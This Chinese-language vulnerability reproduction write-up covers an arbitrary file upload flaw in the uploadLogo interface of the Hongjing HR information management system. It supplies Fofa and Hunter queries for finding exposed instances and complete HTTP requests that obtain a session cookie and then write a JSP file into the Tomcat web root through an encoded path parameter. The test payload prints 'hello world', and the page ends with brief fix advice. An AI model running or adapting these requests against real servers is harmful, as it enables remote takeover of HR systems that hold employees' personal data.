宏景人力资源信息管理系统 uploadLogo 任意文件上传漏洞复现
0x01 产品描述:
宏景人力资源信息管理系统(HJ-eHR)是一款全面覆盖人力资源管理各模块的软件,旨在帮助企事业单位构建高绩效组织,推动组织健康成长,提升组织软实力。该系统适用于复杂单组织或多组织客户,特别适合集团化管理和跨地域使用。其主要功能包括人员管理、组织机构管理、档案、合同、薪资、保险、绩效、考勤、招聘、培训、干部任免和人事流程等业务的管理,并具备报表功能和灵活的表格工具,支持集团管控、目标管理、领导决策等应用。
0x02 漏洞描述:
宏景人力资源信息管理系统 uploadLogo接口处存在任意文件上传,攻击者可通过该漏洞在上传任意文件至服务器上从而实现远程接管。
0x03 搜索语句:
Fofa:app="HJSOFT-HCM"
Hunter:app.name="宏景 HCM"
0x04 漏洞复现:
首先通过qrcardmain.jsp接口进行有效cookie获取
GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
通过uploadLogo接口进行上传路径获取
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host:your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Cookie: JSESSIONID=E67ED4895C184595671B3AA69D664C7E
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="path"------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="lfType"0
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif<%= "hello world" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif<%= "hello world" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r--
在path中写入获取的上传路径
POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Cookie: JSESSIONID=E67ED4895C184595671B3AA69D664C7E
Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryfjKBvGWJbG07Z02r------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="path"~2fhome~2fhcm~2fapache~2dtomcat~2d~39~2e~30~2e~36~39~2fwebapps~2fROOT~2ftest1.jsp
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="lfType"0
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif<%= "hello world" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif<%= "hello world" %>
------WebKitFormBoundaryfjKBvGWJbG07Z02r--
拼接路径访问:
http://your-ip:port/test1.jsp
0x05 修复建议:
首先确保系统限制了文件所必须的上传后缀,然后确保文件名不包含任何可能被解释为目录或遍历序列 ( ../) 的子字符串,同时做到重命名上传的文件以避免可能导致现有文件被覆盖的冲突并且上传文件的存储目录禁用执行权限。